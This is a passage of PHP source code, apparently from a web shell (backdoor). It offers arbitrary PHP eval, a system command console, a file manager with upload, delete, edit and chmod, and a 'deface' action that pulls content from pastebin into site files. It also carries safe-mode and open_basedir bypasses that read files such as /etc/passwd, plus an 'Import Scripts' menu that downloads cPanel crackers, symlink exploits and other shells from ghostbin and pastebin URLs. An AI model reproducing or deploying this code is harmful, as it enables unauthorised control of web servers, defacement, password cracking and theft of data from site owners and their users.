  681. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  682. echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  683. if(!empty($_POST['p1'])) {
  684. ob_start();
  685. eval($_POST['p1']);
  686. echo htmlspecialchars(ob_get_clean());
  687. }
  688. echo '</pre></div>';
  689. printFooter();
  690. }
  691.  
  692. function actionFilesMan() {
  693. printHeader();
  694. echo '<h1>File manager</h1><div class=content>';
  695. if(isset($_POST['p1']) && $_POST['p1']!='deface') {
  696. switch($_POST['p1']) {
  697. case 'uploadFile':
  698. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  699. echo "Can't upload file!";
  700. break;
  701. break;
  702. case 'mkdir':
  703. if(!@mkdir($_POST['p2']))
  704. echo "Can't create new dir";
  705. break;
  706. case 'delete':
  707. function deleteDir($path) {
  708. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  709. $dh = opendir($path);
  710. while ( ($item = readdir($dh) ) !== false) {
  711. $item = $path.$item;
  712. if ( (basename($item) == "..") || (basename($item) == ".") )
  713. continue;
  714. $type = filetype($item);
  715. if ($type == "dir")
  716. deleteDir($item);
  717. else
  718. @unlink($item);
  719. }
  720. closedir($dh);
  721. rmdir($path);
  722. }
  723. if(is_array(@$_POST['f']))
  724. foreach($_POST['f'] as $f) {
  725. $f = urldecode($f);
  726. if(is_dir($f))
  727. deleteDir($f);
  728. else
  729. @unlink($f);
  730. }
  731. break;
  732. case 'paste':
  733. if($_SESSION['act'] == 'copy') {
  734. function copy_paste($c,$s,$d){
  735. if(is_dir($c.$s)){
  736. mkdir($d.$s);
  737. $h = opendir($c.$s);
  738. while (($f = readdir($h)) !== false)
  739. if (($f != ".") and ($f != "..")) {
  740. copy_paste($c.$s.'/',$f, $d.$s.'/');
  741. }
  742. } elseif(is_file($c.$s)) {
  743. @copy($c.$s, $d.$s);
  744. }
  745. }
  746. foreach($_SESSION['f'] as $f)
  747. copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
  748. } elseif($_SESSION['act'] == 'move') {
  749. function move_paste($c,$s,$d){
  750. if(is_dir($c.$s)){
  751. mkdir($d.$s);
  752. $h = opendir($c.$s);
  753. while (($f = readdir($h)) !== false)
  754. if (($f != ".") and ($f != "..")) {
  755. copy_paste($c.$s.'/',$f, $d.$s.'/');
  756. }
  757. } elseif(is_file($c.$s)) {
  758. @copy($c.$s, $d.$s);
  759. }
  760. }
  761. foreach($_SESSION['f'] as $f)
  762. @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
  763. }
  764. unset($_SESSION['f']);
  765. break;
  766. default:
  767. if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
  768. $_SESSION['act'] = @$_POST['p1'];
  769. $_SESSION['f'] = @$_POST['f'];
  770. foreach($_SESSION['f'] as $k => $f)
  771. $_SESSION['f'][$k] = urldecode($f);
  772. $_SESSION['cwd'] = @$_POST['c'];
  773. }
  774. break;
  775. }
  776. echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
  777. }
  778. if(isset($_POST['p1']) && $_POST['p1']=='deface') {
  779. $def = file_get_contents('http://pastebin.com/raw.php?i=9WYhA5Sb');
  780. file_put_contents($_POST['c'].$_POST['p2'],$def);
  781. }
  782. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  783. if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
  784. global $sort;
  785. $sort = array('name', 1);
  786. if(!empty($_POST['p1'])) {
  787. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  788. $sort = array($match[1], (int)$match[2]);
  789. }
  790. echo '<script>
  791. function sa() {
  792. for(i=0;i<document.files.elements.length;i++)
  793. if(document.files.elements[i].type == \'checkbox\')
  794. document.files.elements[i].checked = document.files.elements[0].checked;
  795. }
  796. </script>
  797. <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
  798. <form name=files method=post>';
  799. echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  800. $dirs = $files = $links = array();
  801. $n = count($dirContent);
  802. for($i=0;$i<$n;$i++) {
  803. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  804. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  805. $tmp = array('name' => $dirContent[$i],
  806. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  807. 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
  808. 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
  809. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  810. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  811. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  812. );
  813. if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
  814. $files[] = array_merge($tmp, array('type' => 'file'));
  815. elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
  816. $links[] = array_merge($tmp, array('type' => 'link'));
  817. elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
  818. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  819. }
  820. $GLOBALS['sort'] = $sort;
  821. function cmp($a, $b) {
  822. if($GLOBALS['sort'][0] != 'size')
  823. return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
  824. else
  825. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  826. }
  827. usort($files, "cmp");
  828. usort($dirs, "cmp");
  829. usort($links, "cmp");
  830. $files = array_merge($dirs, $links, $files);
  831. $l = 0;
  832. foreach($files as $f) {
  833. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  834. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  835. $l = $l?0:1;
  836. }
  837. echo '<tr><td colspan=5>
  838. <input type=hidden name=a value=\'FilesMan\'>
  839. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  840. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  841. <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
  842. if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
  843. echo '</select>&nbsp;<input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="AdamKnight.html" size="10"/>&nbsp;<input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Add Deface Here"></td></tr>
  844. </form></table></div>';
  845. printFooter();
  846. }
  847.  
  848. function actionStringTools() {
  849. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  850. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  851. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
  852. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  853.  
  854. if(isset($_POST['ajax'])) {
  855. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  856. ob_start();
  857. if(function_exists($_POST['p1']))
  858. echo $_POST['p1']($_POST['p2']);
  859. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  860. echo strlen($temp), "\n", $temp;
  861. exit;
  862. }
  863. printHeader();
  864. echo '<h1>String conversions</h1><div class=content>';
  865. $stringTools = array(
  866. 'Base64 encode' => 'base64_encode',
  867. 'Base64 decode' => 'base64_decode',
  868. 'Url encode' => 'urlencode',
  869. 'Url decode' => 'urldecode',
  870. 'Full urlencode' => 'full_urlencode',
  871. 'md5 hash' => 'md5',
  872. 'sha1 hash' => 'sha1',
  873. 'crypt' => 'crypt',
  874. 'CRC32' => 'crc32',
  875. 'ASCII to HEX' => 'ascii2hex',
  876. 'HEX to ASCII' => 'hex2ascii',
  877. 'HEX to DEC' => 'hexdec',
  878. 'HEX to BIN' => 'hex2bin',
  879. 'DEC to HEX' => 'dechex',
  880. 'DEC to BIN' => 'decbin',
  881. 'BIN to HEX' => 'bin2hex',
  882. 'BIN to DEC' => 'bindec',
  883. 'String to lower case' => 'strtolower',
  884. 'String to upper case' => 'strtoupper',
  885. 'Htmlspecialchars' => 'htmlspecialchars',
  886. 'String length' => 'strlen',
  887. );
  888. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  889. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  890. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  891. foreach($stringTools as $k => $v)
  892. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  893. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  894. if(!empty($_POST['p1'])) {
  895. if(function_exists($_POST['p1']))
  896. echo htmlspecialchars($_POST['p1']($_POST['p2']));
  897. }
  898. echo"</pre></div>";
  899. printFooter();
  900. }
  901.  
  902. function actionFilesTools() {
  903. if( isset($_POST['p1']) )
  904. $_POST['p1'] = urldecode($_POST['p1']);
  905. if(@$_POST['p2']=='download') {
  906. if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
  907. ob_start("ob_gzhandler", 4096);
  908. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  909. if (function_exists("mime_content_type")) {
  910. $type = @mime_content_type($_POST['p1']);
  911. header("Content-Type: ".$type);
  912. }
  913. $fp = @fopen($_POST['p1'], "r");
  914. if($fp) {
  915. while(!@feof($fp))
  916. echo @fread($fp, 1024);
  917. fclose($fp);
  918. }
  919. } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
  920.  
  921. }
  922. exit;
  923. }
  924. if( @$_POST['p2'] == 'mkfile' ) {
  925. if(!file_exists($_POST['p1'])) {
  926. $fp = @fopen($_POST['p1'], 'w');
  927. if($fp) {
  928. $_POST['p2'] = "edit";
  929. fclose($fp);
  930. }
  931. }
  932. }
  933. printHeader();
  934. echo '<h1>File tools</h1><div class=content>';
  935. if( !file_exists(@$_POST['p1']) ) {
  936. echo 'File not exists';
  937. printFooter();
  938. return;
  939. }
  940. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  941. $gid = @posix_getgrgid(@fileowner($_POST['p1']));
  942. echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  943. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  944. if( empty($_POST['p2']) )
  945. $_POST['p2'] = 'view';
  946. if( is_file($_POST['p1']) )
  947. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  948. else
  949. $m = array('Chmod', 'Rename', 'Touch');
  950. foreach($m as $v)
  951. echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  952. echo '<br><br>';
  953. switch($_POST['p2']) {
  954. case 'view':
  955. echo '<pre class=ml1>';
  956. $fp = @fopen($_POST['p1'], 'r');
  957. if($fp) {
  958. while( !@feof($fp) )
  959. echo htmlspecialchars(@fread($fp, 1024));
  960. @fclose($fp);
  961. }
  962. echo '</pre>';
  963. break;
  964. case 'highlight':
  965. if( is_readable($_POST['p1']) ) {
  966. echo '<div class=ml1 style="background-color: #000;color:black;">';
  967. $code = highlight_file($_POST['p1'],true);
  968. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  969. }
  970. break;
  971. case 'chmod':
  972. if( !empty($_POST['p3']) ) {
  973. $perms = 0;
  974. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  975. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  976. if(!@chmod($_POST['p1'], $perms))
  977. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  978. else
  979. die('<script>g(null,null,null,null,"")</script>');
  980. }
  981. echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  982. break;
  983. case 'edit':
  984. if( !is_writable($_POST['p1'])) {
  985. echo 'File isn\'t writeable';
  986. break;
  987. }
  988. if( !empty($_POST['p3']) ) {
  989. @file_put_contents($_POST['p1'],$_POST['p3']);
  990. echo 'Saved!<br><script>document.mf.p3.value="";</script>';
  991. }
  992. echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
  993. $fp = @fopen($_POST['p1'], 'r');
  994. if($fp) {
  995. while( !@feof($fp) )
  996. echo htmlspecialchars(@fread($fp, 1024));
  997. @fclose($fp);
  998. }
  999. echo '</textarea><input type=submit value=">>"></form>';
  1000. break;
  1001. case 'hexdump':
  1002. $c = @file_get_contents($_POST['p1']);
  1003. $n = 0;
  1004. $h = array('00000000<br>','','');
  1005. $len = strlen($c);
  1006. for ($i=0; $i<$len; ++$i) {
  1007. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  1008. switch ( ord($c[$i]) ) {
  1009. case 0: $h[2] .= ' '; break;
  1010. case 9: $h[2] .= ' '; break;
  1011. case 10: $h[2] .= ' '; break;
  1012. case 13: $h[2] .= ' '; break;
  1013. default: $h[2] .= $c[$i]; break;
  1014. }
  1015. $n++;
  1016. if ($n == 32) {
  1017. $n = 0;
  1018. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  1019. $h[1] .= '<br>';
  1020. $h[2] .= "\n";
  1021. }
  1022. }
  1023. echo '<table cellspacing=1 cellpadding=5 bgcolor=#000><tr><td bgcolor=#000><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#000><pre>'.$h[1].'</pre></td><td bgcolor=#000><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  1024. break;
  1025. case 'rename':
  1026. if( !empty($_POST['p3']) ) {
  1027. if(!@rename($_POST['p1'], $_POST['p3']))
  1028. echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
  1029. else
  1030. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  1031. }
  1032. echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  1033. break;
  1034. case 'touch':
  1035. if( !empty($_POST['p3']) ) {
  1036. $time = strtotime($_POST['p3']);
  1037. if($time) {
  1038. if(@touch($_POST['p1'],$time,$time))
  1039. die('<script>g(null,null,null,null,"")</script>');
  1040. else {
  1041. echo 'Fail!<script>document.mf.p3.value="";</script>';
  1042. }
  1043. } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
  1044. }
  1045. echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  1046. break;
  1047. case 'mkfile':
  1048.  
  1049. break;
  1050. }
  1051. echo '</div>';
  1052. printFooter();
  1053. }
  1054.  
  1055. function actionSafeMode() {
  1056. $temp='';
  1057. ob_start();
  1058. switch($_POST['p1']) {
  1059. case 1:
  1060. $temp=@tempnam($test, 'cx');
  1061. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  1062. echo @file_get_contents($temp);
  1063. unlink($temp);
  1064. } else
  1065. echo 'Sorry... Can\'t open file';
  1066. break;
  1067. case 2:
  1068. $files = glob($_POST['p2'].'*');
  1069. if( is_array($files) )
  1070. foreach ($files as $filename)
  1071. echo $filename."\n";
  1072. break;
  1073. case 3:
  1074. $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
  1075. curl_exec($ch);
  1076. break;
  1077. case 4:
  1078. ini_restore("safe_mode");
  1079. ini_restore("open_basedir");
  1080. include($_POST['p2']);
  1081. break;
  1082. case 5:
  1083. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1084. $uid = @posix_getpwuid($_POST['p2']);
  1085. if ($uid)
  1086. echo join(':',$uid)."\n";
  1087. }
  1088. break;
  1089. case 6:
  1090. if(!function_exists('imap_open'))break;
  1091. $stream = imap_open($_POST['p2'], "", "");
  1092. if ($stream == FALSE)
  1093. break;
  1094. echo imap_body($stream, 1);
  1095. imap_close($stream);
  1096. break;
  1097. }
  1098. $temp = ob_get_clean();
  1099. printHeader();
  1100. echo '<h1>Safe mode bypass</h1><div class=content>';
  1101. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
  1102. if($temp)
  1103. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
  1104. echo '</div>';
  1105. printFooter();
  1106. }
  1107.  
  1108. function actionConsole() {
  1109. if(isset($_POST['ajax'])) {
  1110. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1111. ob_start();
  1112. echo "document.cf.cmd.value='';\n";
  1113. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
  1114. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  1115. if(@chdir($match[1])) {
  1116. $GLOBALS['cwd'] = @getcwd();
  1117. echo "document.mf.c.value='".$GLOBALS['cwd']."';";
  1118. }
  1119. }
  1120. echo "document.cf.output.value+='".$temp."';";
  1121. echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
  1122. $temp = ob_get_clean();
  1123. echo strlen($temp), "\n", $temp;
  1124. exit;
  1125. }
  1126. printHeader();
  1127.  
  1128. echo '<script>
  1129. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1130. var cmds = new Array("");
  1131. var cur = 0;
  1132. function kp(e) {
  1133. var n = (window.Event) ? e.which : e.keyCode;
  1134. if(n == 38) {
  1135. cur--;
  1136. if(cur>=0)
  1137. document.cf.cmd.value = cmds[cur];
  1138. else
  1139. cur++;
  1140. } else if(n == 40) {
  1141. cur++;
  1142. if(cur < cmds.length)
  1143. document.cf.cmd.value = cmds[cur];
  1144. else
  1145. cur--;
  1146. }
  1147. }
  1148. function add(cmd) {
  1149. cmds.pop();
  1150. cmds.push(cmd);
  1151. cmds.push("");
  1152. cur = cmds.length-1;
  1153. }
  1154. </script>';
  1155. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
  1156. foreach($GLOBALS['aliases'] as $n => $v) {
  1157. if($v == '') {
  1158. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1159. continue;
  1160. }
  1161. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1162. }
  1163. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1164. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1165. echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
  1166. if(!empty($_POST['p1'])) {
  1167. echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
  1168. }
  1169. echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">';
  1170. echo '</form></div><script>document.cf.cmd.focus();</script>';
  1171. printFooter();
  1172. }
  1173.  
  1174. function actionLogout() {
  1175. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  1176. echo '<body bgcolor=#000000><center><img src="http://i.imgur.com/NnfXxRK.jpg?1" alt="flag" height="363" width="650"></center></body>';
  1177. }
  1178.  
  1179. function actionSelfRemove() {
  1180. printHeader();
  1181. if($_POST['p1'] == 'yes') {
  1182. if(@unlink(SELF_PATH))
  1183. die('Shell has been removed');
  1184. else
  1185. echo 'unlink error!';
  1186. }
  1187. echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1188. printFooter();
  1189. }
  1190. ///my editing start here for tools
  1191. function download_remote_file($file_url, $save_to) {
  1192. $content = file_get_contents($file_url);
  1193. file_put_contents($save_to, $content);
  1194. }
  1195. if (isset($_POST['dhanush'])) {
  1196. download_remote_file('https://ghostbin.com/paste/5uasa/raw', realpath("./ak-tools/") . '/dhanush.php');
  1197. header("location:./ak-tools/dhanush.php");
  1198. }
  1199. if (isset($_POST['ak-cpcrack'])) {
  1200. download_remote_file('https://ghostbin.com/paste/pfy86/raw', realpath("./ak-tools/") . '/ak-cpcrack.php');
  1201. header("location:./ak-tools/ak-cpcrack.php");
  1202. }
  1203. if (isset($_POST['SymlinkbySmevk'])) {
  1204. download_remote_file('https://ghostbin.com/paste/d9cut/raw', realpath("./ak-tools/") . '/SymlinkbySmevk.php');
  1205. header("location:./ak-tools/SymlinkbySmevk.php");
  1206. }
  1207. if (isset($_POST['SymlinkbyCheetah'])) {
  1208. download_remote_file('https://ghostbin.com/paste/mejr5/raw', realpath("./ak-tools/") . '/SymlinkbyCheetah.php');
  1209. header("location:./ak-tools/SymlinkbyCheetah.php");
  1210. }
  1211. if (isset($_POST['SymlinkbyTorjan'])) {
  1212. download_remote_file('https://ghostbin.com/paste/ag6rn/raw', realpath("./ak-tools/") . '/sym.py');
  1213. echo "<script>alert('Script is here /sym.py execute it from there.Type in console (Python sym.py)')</script>";
  1214. }
  1215. if (isset($_POST['CpanelCracker'])) {
  1216. download_remote_file('https://ghostbin.com/paste/nm8zu/raw', realpath("./ak-tools/") . '/CpanelCracker.php');
  1217. header("location:./ak-tools/CpanelCracker.php");
  1218. }
  1219. if (isset($_POST['Dblogin'])) {
  1220. download_remote_file('https://ghostbin.com/paste/54w4f/raw', realpath("./ak-tools/") . '/Dblogin.php');
  1221. header("location:./ak-tools/Dblogin.php");
  1222. }
  1223. if (isset($_POST['CpanelkbyGujjar'])) {
  1224. download_remote_file('https://ghostbin.com/paste/jmsnf/raw', realpath("./ak-tools/") . '/CpanelkbyGujjar.php');
  1225. header("location:./ak-tools/CpanelkbyGujjar.php");
  1226. }
  1227. if (isset($_POST['b374k'])) {
  1228. download_remote_file('https://ghostbin.com/paste/w9vt6/raw', realpath("./ak-tools/") . '/b374k.php');
  1229. header("location:./ak-tools/b374k.php");
  1230. }
  1231. if (isset($_POST['ZonehMassPoster'])) {
  1232. download_remote_file('https://ghostbin.com/paste/3wt7r/raw', realpath("./ak-tools/") . '/ZonehMassPoster.php');
  1233. header("location:./ak-tools/ZonehMassPoster.php");
  1234. }
  1235. if (isset($_POST['Whmcs'])) {
  1236. download_remote_file('https://ghostbin.com/paste/9jsgu/raw', realpath("./ak-tools/") . '/Whmcs.php');
  1237. header("location:./ak-tools/Whmcs.php");
  1238. }
  1239. if (isset($_POST['cdecode'])) {
  1240. download_remote_file('http://pastebin.com/raw.php?i=Q16EAT1P', realpath("./ak-tools/") . '/decode.php');
  1241. header("location:./ak-tools/decode.php");
  1242. }
  1243. function actionImportScripts() {
  1244. printHeader();
  1245. mkdir('ak-tools', 0755);
  1246. chdir('ak-tools');
  1247. echo '<h1>Import Scripts<h1><div class=content>
  1248. <table align=center border="0px" bgcolor="#333333" width="50%">
  1249. <tr>
  1250. <td colspan="2" align="center" height=35><b><font color="#a3e956">Click desired button to download file.</font><br></td>
  1251. </tr>
  1252. <tr>
  1253. <td align="center" height=35><b><font color="#a3e956"><font color="#a3e956">Dhanush Shell </font><font color="red">( Login: Username: Dhanush Password: Dhanush )</font><br></td>
  1254. <td align="center" height=35><form action ="" method="post"><input type = "submit" name="dhanush" value =">>"></td>
  1255. </tr>
  1256. <tr>
  1257. <td align="center" height=35><b><font color="#a3e956">cPanel Cracker by Adam Knight</font><br></td>
  1258. <td align="center" height=35><form action ="" method="post"><input type = "submit" name="ak-cpcrack" value =">>"></td>
  1259. </tr>
  1260. <tr>
  1261. <td align="center" height=35><b><font color="#a3e956">Symlink script by SmEvK_PaThAn</font><br></td>
  1262. <td align="center" height=35><form action ="" method="post"><input type = "submit" name="SymlinkbySmevk" value =">>"></td>
  1263. </tr>
  1264. <tr>
  1265. <td align="center" height=35><b><font color="#a3e956">Symlink script by Kashmiri Cheetah</font></td>
  1266. <td align="center" height=35><form action ="" method="post"><input type = "submit" name="SymlinkbyCheetah" value =">>"></td>
  1267. </tr>
  1268. <tr>
  1269. <td align="center" height=35><b><font color="#a3e956">Symlink Python script by TROJAN</font><br></td>
  1270. <td align="center" height=35><form action ="" method="post"><input type = "submit" name="SymlinkbyTorjan" value =">>"></td>
  1271. </tr>
  1272. <tr>
  1273. <td align="center" height=35><b><font color="#a3e956">Cpanel Cracker</font><br></td>
  1274. <td align="center" height=35><form action ="" method="post"><input type = "submit" name="CpanelCracker" value =">>"></td>
  1275. </tr>
  1276. <tr>
  1277. <td align="center" height=35><b><font color="#a3e956">Database login script</font><br></td>
  1278. <td align="center" height=35><form action ="" method="post"><input type = "submit" name="Dblogin" value =">>"></td>
  1279. </tr>
  1280. <tr>
  1281. <td align="center" height=35><b><font color="#a3e956">Gujjar PCP Cpanel Cracker</font></td>
